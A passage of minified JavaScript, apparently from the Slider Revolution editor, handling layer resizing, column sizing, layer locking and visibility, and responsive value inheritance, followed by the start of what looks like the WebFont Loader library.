RVS.V.sizes)RVS.V.sizes.hasOwnProperty(i)&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[t]+".idle.whiteSpace."+RVS.V.sizes[i]+".v",val:"full",uid:RVS.selLayers[t]}),-1==RVS.L[RVS.selLayers[t]].size.width[RVS.V.sizes[i]].v.indexOf("%")&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[t]+".size.width."+RVS.V.sizes[i]+".v",val:"auto",uid:RVS.selLayers[t]}));RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:RVS.S.DaD.target.columnType,env:RVS.S.DaD.target.columnID,dropto:RVS.S.DaD.target.columnType,resetPosition:e})}}else RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"columnend",env:RVS.S.DaD.target.columnID})}else{if(RVS.L[RVS.S.DaD.currentLayerId].linebreak)return void RVS.F.showInfo({content:RVS_LANG.cantpulllinebreakoutside,type:"goodtoknow",showdelay:0,hidedelay:3,hideon:"",event:""});-1!==RVS.L[RVS.S.DaD.currentLayerId].group.puid&&RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"before",env:"top",dropto:"root",resetPosition:{x:RVS.S.DaD.startPos.x,y:RVS.S.DaD.startPos.y}})}}(),tpGS.gsap.set(t.w,{opacity:1}),RVS.F.closeBackupGroup({id:r}),RVS.F.selectedLayersVisualUpdate(),RVS.S.updateEsyInputsTimerMemory?(RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.S.updateEsyInputsTimerMemory=!1):RVS.F.selectLayers({id:e.uid,overwrite:!0,action:"add",keepSelectedFrame:!0===RVS.animationMode})}}),e.resize&&t.w.resizable({handles:"n,s,w,e",start:function(t,i){RVS.F.stopAndPauseAllLayerAnimation(),RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_position",!0),RVS.S.WWL=RVS.L[e.uid],RVS.S.lpv=RVS.S.WWL.position.vertical[RVS.screen].v,RVS.S.lph=RVS.S.WWL.position.horizontal[RVS.screen].v,RVS.S.WWHL=RVS.H[e.uid],RVS.C.layer_width=void 0===RVS.C.layer_width?jQuery("#layer_width"):RVS.C.layer_width,RVS.C.layer_height=void 0===RVS.C.layer_height?jQuery("#layer_height"):RVS.C.layer_height,RVS.C.layer_covermode=void 0===RVS.C.layer_covermode?jQuery("#layer_covermode"):RVS.C.layer_covermode,window.layertemp_width=window.layerneww=i.size.width,window.layertemp_height=window.layernewh=i.size.height,window.resizeDirection="none",RVS.F.setZindex({id:e.uid,o:475}),RVS.C.layergrid.addClass("layersInDragorResize"),"text"!==RVS.S.WWL.type&&"button"!==RVS.S.WWL.type||(window.layerclone=RVS.S.WWHL.w.clone(!1),window.layercloneinside=window.layerclone.find("._lc_content_").first(),RVS.C.slide.append(window.layerclone),tpGS.gsap.set(window.layerclone,{autoAlpha:0}))},resize:function(t,i){var a=window.layerneww!=i.size.width?"horizontal":"vertical";switch(window.layerneww=i.size.width,window.layernewh=i.size.height,RVS.S.WWL.type){case"text":case"button":tpGS.gsap.set([window.layercloneinside],{width:i.size.width,height:"auto"}),("auto"===RVS.S.WWL.size.height[RVS.screen].v||window.layercloneinside.height()>i.size.height)&&(window.layernewh=i.size.height="horizontal"===a?window.layercloneinside.outerHeight():Math.max(parseInt(i.size.height,0)||0,parseInt(window.layercloneinside.outerHeight(),0)||0))}if("none"!==RVS.S.WWL.size.minWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.max(window.layerneww,parseInt(RVS.S.WWL.size.minWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.min(window.layerneww,parseInt(RVS.S.WWL.size.maxWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.minHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.max(window.layernewh,parseInt(RVS.S.WWL.size.minHeight[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.min(window.layernewh,parseInt(RVS.S.WWL.size.maxHeight[RVS.screen].v,0)||0)),requestAnimationFrame(function(){RVS.F.showMouseInfo({html:"<div class='mouse_info_coor'><div><span class='mouselabel'>W</span><span class='mouseval'>"+window.layerneww+"</span></div><div><span class='mouselabel'>H</span><span class='mouseval'>"+window.layernewh+"</span></div></div><div class='mouse_info_align "+RVS.S.lph+" "+RVS.S.lpv+"'><span class='mia_tl'></span><span class='mia_tc'></span><span class='mia_tr'></span><span class='mia_ml'></span><span class='mia_mc'></span><span class='mia_mr'></span><span class='mia_bl'></span><span class='mia_bc'></span><span class='mia_br'></span></div>"})}),window.layertemp_width!=window.layerneww&&("none"===window.resizeDirection&&(window.resizeDirection="horizontal"),RVS.C.layer_width[0].value=window.layerneww+"px","fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_width").removeClass("disablecontainer"))),window.layertemp_height!=window.layernewh&&("none"===window.resizeDirection&&(window.resizeDirection="vertical"),RVS.C.layer_height[0].value="video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":window.layernewh+"px","fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_height").removeClass("disablecontainer"))),RVS.S.WWL.size.scaleProportional&&"auto"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&"none"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&("horizontal"===window.resizeDirection?window.layernewh=i.size.height=Math.round(window.layerneww/RVS.S.WWL.size.aspectRatio[RVS.screen].v):window.layerneww=i.size.width=Math.round(window.layernewh*RVS.S.WWL.size.aspectRatio[RVS.screen].v)),"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v){var r=RVS.S.WWL.media.ratio.split(":");r=r[1]/r[0],i.size.height=window.layerneww*r}tpGS.gsap.set(RVS.H[e.uid].c,{width:window.layerneww,height:window.layernewh}),RVS.F.updateHTMLLayerPosition({uid:e.uid}),requestAnimationFrame(function(){var t=RVS.F.getLayerChildren({layerid:e.uid});for(var i in t)t.hasOwnProperty(i)&&RVS.F.updateHTMLLayerPosition({uid:i});RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1893"),RVS.F.updateSharpCorners({uid:e.uid,resize:!0})})},stop:function(t,i){RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.F.hideMouseInfo(),RVS.S.justresized=!0,RVS.F.openBackupGroup({id:"layerresize",txt:"Resize Layer",icon:"photo_size_select_large"}),"text"!==RVS.S.WWL.type&&"button"!==RVS.S.WWL.type||(window.layernewh=window.layercloneinside.height()===window.layernewh&&"text"==RVS.L[e.uid].type?"auto":window.layernewh,window.layerclone.remove()),window.layertemp_width!=window.layerneww&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.width.#size#.v",val:window.layerneww+"px",uid:e.uid}),"fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),window.layertemp_height!=window.layernewh&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.height.#size#.v",val:"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":isNaN(window.layernewh)?window.layernewh:window.layernewh+"px",uid:e.uid}),"fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1056"),setTimeout(function(){RVS.S.justresized=!1},100)}})},RVS.F.figureColumnSizes=function(e){if(void 0!==e.plain&&(e.plain=RVS.F.sanitize_columns(e.plain),e.plain=0===e.plain.length||void 0===e.plain||""===e.plain?"1/2+1/2":e.plain,e.cols=e.temp=e.plain.split("+")),e.summ=0,-1===e.plain.indexOf("/"))if(e.cols=[],e.plain="",1==e.temp.length){var t=parseInt(e.temp[0],0);t=t>9?"9":t;for(var i=0;i<t;i++)e.plain.length>0&&(e.plain+="+"),e.plain+="1/"+t,e.cols.push("1/"+t)}else{var a=0;e.plain="";for(i=0;i<e.temp.length;i++)""!==e.temp[i]&&e.temp[i].length>0&&(a+=parseInt(e.temp[i],0));for(i=0;i<e.temp.length;i++)""!==e.temp[i]&&e.temp[i].length>0&&(e.plain.length>0&&(e.plain+="+"),e.plain+=e.temp[i]+"/"+a,e.cols.push(e.temp[i]+"/"+a))}var r;for(var s in e.cols)e.cols.hasOwnProperty(s)&&(r=RVS.F.convertFraction(e.cols[s]),e.summ+=100*r);return 100!==Math.round(e.summ)?jQuery("#row_column_structure").addClass("badvalue"):jQuery("#row_column_structure").removeClass("badvalue"),e},RVS.F.fixColumnsInRows=function(e){if(void 0!==RVS.L[e.layerid]&&"row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow(e),i=0,a=[];for(var r in t)t.hasOwnProperty(r)&&(i=i+=100*RVS.F.convertFraction(RVS.L[t[r]].group.columnSize),a.push(RVS.L[t[r]].group.columnSize.split("/")));var s=t.length;if((i=99.99999999999999===i?100:i)<100){var o=100-i,n=t[t.length-1],l=RVS.L[n].group.columnSize,d=l.split("/"),S=o/(100*RVS.F.convertFraction(l)/parseInt(d[0],0)),c=parseInt(d[0],0)+parseInt(S,0)+"/"+d[1],p=RVS.S.slideId+".layers."+n+".group.columnSize";1===s?RVS.F.updateSliderObj({path:p,val:"1/1"}):RVS.F.updateSliderObj({path:p,val:c}),RVS.F.drawHTMLLayer({uid:n})}if(i>100){for(var r in t)t.hasOwnProperty(r)&&(a[r][0]=1,a[r][1]=s);for(var r in t)if(t.hasOwnProperty(r)){n=t[r],p=RVS.S.slideId+".layers."+n+".group.columnSize";RVS.F.updateSliderObj({path:p,val:a[r][0]+"/"+a[r][1]}),RVS.F.drawHTMLLayer({uid:n})}}}},RVS.F.checkLockedLayers=function(){for(var t in(e=void 0===e?{wrap:jQuery("#locked_layers_list"),switch:jQuery("#layer_lock_iconswitch")}:e).default=void 0===e.default?e.wrap[0].innerHTML:e.default,e.layers=[],RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].visibility&&RVS.L[t].visibility.locked&&-1===jQuery.inArray(t,e.layers)&&e.layers.push(t);var i="";for(var a in e.layers)if(e.layers.hasOwnProperty(a)){var r=e.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_locked_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_locked_")&&(s.className+=" _locked_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='<div data-uid="'+r+'" class="unlock_single_layer lockstep"><i class="material-icons">lock_open</i>'+RVS.L[r].alias+"</div>"}}i=e.default+i,e.wrap[0].innerHTML=i},RVS.F.lockUnlockLayer=function(e){if(e.val=void 0===e.val?!RVS.L[e.uid].visibility.locked:e.val,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".visibility.locked",val:e.val}),!1===e.val&&RVS.H[e.uid].w[0].className.indexOf("_locked_")>=0){RVS.H[e.uid].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _locked_","")}},RVS.F.lockUnlockLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.locked;RVS.F.lockUnlockLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkLockedLayers()},RVS.F.checkShowHideLayers=function(){for(var e in(t=void 0===t?{wrap:jQuery("#unvisible_layers_list"),switch:jQuery("#layer_visibility_iconswitch")}:t).default=void 0===t.default?t.wrap[0].innerHTML:t.default,t.layers=[],RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible&&-1===jQuery.inArray(e,t.layers)&&t.layers.push(e);var i="";for(var a in t.layers)if(t.layers.hasOwnProperty(a)){var r=t.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_unvisible_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_unvisible_")&&(s.className+=" _unvisible_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='<div data-uid="'+r+'" class="visible_single_layer visiblestep"><i class="material-icons">visibility</i>'+RVS.L[r].alias+"</div>"}}i=t.default+i,t.wrap[0].innerHTML=i},RVS.F.showHideLayer=function(e){if(void 0===e.val&&(e.val=!RVS.L[e.uid].visibility.visible),RVS.F.updateSliderObj({ignoreBackup:e.ignoreBackup,path:RVS.S.slideId+".layers."+e.uid+".visibility.visible",val:e.val}),!0===e.val&&RVS.H[e.uid].w[0].className.indexOf("_unvisible_")>=0){RVS.H[e.uid].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _unvisible_","")}},RVS.F.showHideLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.visible;RVS.F.showHideLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkShowHideLayers()},RVS.F.updateColumnBreaksChildren=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&"column"===RVS.L[e].type&&(RVS.L[e].group.columnbreakat=RVS.L[RVS.L[e].group.puid].group.columnbreakat)},RVS.F.isIntelligentInherited=function(e,t){return void 0!==t?void 0!==RVS.SLIDER[t].layers[e]&&RVS.SLIDER[t].layers[e].behavior.intelligentInherit:void 0!==RVS.L[e]&&RVS.L[e].behavior.intelligentInherit},RVS.F.setToIntelligentUpdate=function(e){RVS.F.updateScreenShrinks();var t=e?"Reset All values to Intelligent Values":"Enable Intelligent Inherit";for(var a in RVS.F.openBackupGroup({id:"IntelligentInherit",txt:t,icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){for(var r in i)i.hasOwnProperty(r)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[r],index:"v",uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});for(var s=0;s<4;s++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[a]+".behavior.intelligentInherit",val:!0})}RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.DOC.trigger("sliderSizeChanged")},RVS.F.intelligentUpdateValuesOnLayer=function(e){if(RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:e,backup:!1,notEdited:!0,reset:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:e,backup:!1,notEdited:!0,reset:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:e,backup:!1,notEdited:!0,reset:!0})}},RVS.F.updateAllInheritedSize=function(){RVS.S.updatingAllInheritedSizeCounter=void 0===RVS.S.updatingAllInheritedSizeCounter?0:RVS.S.updatingAllInheritedSizeCounter,!0!==RVS.S.updatingAllInheritedSize&&RVS.S.updatingAllInheritedSizeCounter>0&&(RVS.S.updatingAllInheritedSize=!0,requestAnimationFrame(function(){for(var e in RVS.F.updateScreenShrinks(),RVS.L)if(RVS.L.hasOwnProperty(e)&&"zone"!==RVS.L[e].type&&RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.L[e].uid});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.L[e].uid}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.L[e].uid})}RVS.F.drawHTMLLayers(),RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.S.updatingAllInheritedSize=!1})),RVS.S.updatingAllInheritedSizeCounter++},RVS.F.disableIntelligentUpdate=function(){for(var e in RVS.F.openBackupGroup({id:"DIntelligentInherit",txt:"Disable Intelligent Inherit",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[e]+".behavior.intelligentInherit",val:!1});RVS.F.closeBackupGroup({id:"DIntelligentInherit"})},RVS.F.resetLayersDeviceSizesToDesktop=function(){for(var e in RVS.F.openBackupGroup({id:"desktopValueReset",txt:"Reset Values to Dekstop",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0})}for(var r in RVS.F.closeBackupGroup({id:"desktopValueReset"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})},RVS.F.resetIntelligentInherits=function(){RVS.F.setToIntelligentUpdate(!0)},RVS.F.iUHelp=function(e){for(var t=e.l[RVS.V.sizes[0]].v,i=1,a=0;a<=3;a++){var r=RVS.F.isNumeric(t)?"":t.indexOf("%")>=0?"%":"px",s="inherit"===t||!RVS.F.isNumeric(t)&&(t.indexOf("{")>=0||t.indexOf("[")>=0||jQuery.inArray(t,["top","left","bottom","right","center","middle"])>=0||"#"==t[0]&&"/"==t[2]&&"#"==t[4]);i=e.iii?RVS.S.shrink[RVS.V.sizes[a]]:i,e.allToOne||(t=e.reset||!e.l[RVS.V.sizes[a]].e?e.shrink?s||"auto"===t||!RVS.F.isNumeric(t)&&t.indexOf("%")>=0?t:parseInt(t,0)*i:t:e.number&&!s&&"auto"!==t?parseInt(e.l[RVS.V.sizes[a]].v,0):e.l[RVS.V.sizes[a]].v);var o=e.allToOne?t:!e.reset&&e.l[RVS.V.sizes[a]].e?e.l[RVS.V.sizes[a]].v:e.number?"auto"===t||s?t:void 0!==e.minValue?Math.max(e.minValue,Math.round(parseInt(t,0))):Math.round(parseInt(t,0)):t;r="auto"!==o&&RVS.F.isNumeric(o)?r:"",e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".v",val:o+r}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".e",val:!1})):(e.l[RVS.V.sizes[a]].v=o+r,e.notEdited&&(e.l[RVS.V.sizes[a]].e=!1)),t=o+r}},RVS.F.intelligentUpdate=function(e){e.calcShrink&&RVS.F.updateScreenShrinks(),RVS.S.respInfoBar.visible&&RVS.F.showFieldResponsiveValues(),e.iii=void 0===e.iii||e.iii;var t=void 0!==e.slide?RVS.SLIDER[e.slide].layers:RVS.L;switch(e.key){case"viewPortArea":e.l=RVS.SLIDER.settings.general.slideshow.viewPortArea,e.minValue=-1500,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"horizontal":case"vertical":case"y":case"x":if(e.l=t[e.uid].position[e.key],e.p=e.uid+".position."+e.key+".","x"===e.key||"y"===e.key)for(var i in e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),t[e.uid].timeline.frames)t[e.uid].timeline.frames.hasOwnProperty(i)&&(e.l=t[e.uid].timeline.frames[i].transform[e.key],e.p=e.uid+".timeline.frames."+i+".transform."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].mask[e.key],e.p=e.uid+".timeline.frames."+i+".mask."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].chars[e.key],e.p=e.uid+".timeline.frames."+i+".chars."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].words[e.key],e.p=e.uid+".timeline.frames."+i+".words."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].lines[e.key],e.p=e.uid+".timeline.frames."+i+".lines."+e.key+".",RVS.F.iUHelp(e));else RVS.F.iUHelp(e);break;case"width":case"height":e.l=t[e.uid].size[e.key],e.p=e.uid+".size."+e.key+".",e.minValue=1,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"blur":case"spread":case"hoffset":case"voffset":e.l=t[e.uid].idle.boxShadow[e.key],e.p=e.uid+".idle.boxShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),"spread"!==e.key&&(e.l=t[e.uid].idle.textShadow[e.key],e.p=e.uid+".idle.textShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e));break;case"margin":case"padding":if("v"===e.index)for(e.index=0;e.index<4;e.index++){e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(var a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}else{e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}break;case"textAlign":case"fontWeight":case"borderStyle":case"color":e.l="color"===e.key&&"svg"===t[e.uid].type?t[e.uid].idle.svg.color:t[e.uid].idle[e.key],e.p="color"===e.key&&"svg"===t[e.uid].type?e.uid+".idle.svg.color.":e.uid+".idle."+e.key+".",RVS.F.iUHelp(e);break;case"lineHeight":case"letterSpacing":case"fontSize":e.l=t[e.uid].idle[e.key],e.p=e.uid+".idle."+e.key+".",e.number=!0,e.shrink=!0,"fontSize"===e.key&&(e.minValue=4),"lineHeight"===e.key&&(e.minValue=6),RVS.F.iUHelp(e);break;case"whiteSpace":e.p=e.uid+".idle.whiteSpace.",e.l=t[e.uid].idle[e.key],RVS.F.iUHelp(e)}},RVS.F.updateGroupLocks=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.L[e].group&&"group"===RVS.L[e].type&&void 0!==RVS.H[e]&&(RVS.L[e].group.locked?RVS.H[e].w.addClass("_group_locked_"):RVS.H[e].w.removeClass("_group_locked_"))},RVS.DOC.on("updateLayerFrame",function(e,t){if(void 0!==t)for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("updateLayerFrameStart",function(e,t){if(void 0!==t||void 0!==t.val){RVS.F.openBackupGroup({id:"LayerFrameStart",txt:"Layer Frame Start",icon:"layers",lastkey:"layer"});var i=parseInt(RVS.selLayers[0],0),a=RVS.F.getPrevNextFrame({layerid:i,frame:RVS.S.keyFrame});for(var i in cur=parseInt(t.val,0),cur=cur<a.prev.end?a.prev.end+10:cur+a.cur.framelength>a.next.start?a.next.start-(a.cur.framelength+10):cur,cur=cur>10*RVS.F.getSlideLength()?10*RVS.F.getSlideLength():cur,RVS.F.updateLayerObj({path:"timeline.frames."+RVS.S.keyFrame+".timeline.start",val:cur}),RVS.F.closeBackupGroup({id:"LayerFrameStart"}),document.getElementById("layerframestart").value=cur,RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}})}(),function(e,t,i){function a(e,t,i){return e.call.apply(e.bind,arguments)}function r(e,t,i){if(!e)throw Error();if(2<arguments.length){var a=Array.prototype.slice.call(arguments,2);return function(){var i=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(i,a),e.apply(t,i)}}return function(){return e.apply(t,arguments)}}function s(e,t,i){return(s=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?a:r).apply(null,arguments)}var o=Date.now||function(){return+new Date};function n(e,t){this.K=e,this.w=t||e,this.G=this.w.document}function l(e,i,a){(e=e.G.getElementsByTagName(i)[0])||(e=t.documentElement),e&&e.lastChild&&e.insertBefore(a,e.lastChild)}function d(e,t,i){t=t||[],i=i||[];for(var a=e.className.split(/\s+/),r=0;r<t.length;r+=1){for(var s=!1,o=0;o<a.length;o+=1)if(t[r]===a[o]){s=!0;break}s||a.push(t[r])}for(t=[],r=0;r<a.length;r+=1){for(s=!1,o=0;o<i.length;o+=1)if(a[r]===i[o]){s=!0;break}s||t.push(a[r])}e.className=t.join(" ").replace(/\s+/g," ").replace(/^\s+|\s+$/,"")}function S(e,t){for(var i=e.className.split(/\s+/),a=0,r=i.length;a<r;a++)if(i[a]==t)return!0;return!1}function c(e){if("string"==typeof e.na)return e.na;var t=e.w.location.protocol;return"about:"==t&&(t=e.K.location.protocol),"https:"==t?"https:":"http:"}function p(e,t){var i=e.createElement("link",{rel:"stylesheet",href:t,media:"all"}),a=!1;i.onload=function(){a||(a=!0)},i.onerror=function(){a||(a=!0)},l(e,"head",i)}function R(t,i,a,r){var s=t.G.getElementsByTagName("head")[0];if(s){var o=t.createElement("script",{src:i}),n=!1;return o.onload=o.onreadystatechange=function(){n||this.readyState&&"loaded"!=this.readyState&&"complete"!=this.readyState||(n=!0,a&&a(null),o.onload=o.onreadystatechange=null,"HEAD"==o.parentNode.tagName&&s.removeChild(o))},s.appendChild(o),e.setTimeout(function(){n||(n=!0,a&&a(Error("Script load timeout")))},r||5e3),o}return null}function u(e,t){this.Y=e,this.ga=t}function V(e,t,i,a){this.c=null!=e?e:null,this.g=null!=t?t:null,this.D=null!=i?i:null,this.e=null!=a?a:null}n.prototype.createElement=function(e,t,i){if(e=this.G.createElement(e),t)for(var a in t)t.hasOwnProperty(a)&&("style"==a?e.style.cssText=t[a]:e.setAttribute(a,t[a]));return i&&e.appendChild(this.G.createTextNode(i)),e};var y=/^([0-9]+)(?:[\._-]([0-9]+))?(?:[\._-]([0-9]+))?(?:[\._+-]?(.*))?$/;function m(e){var 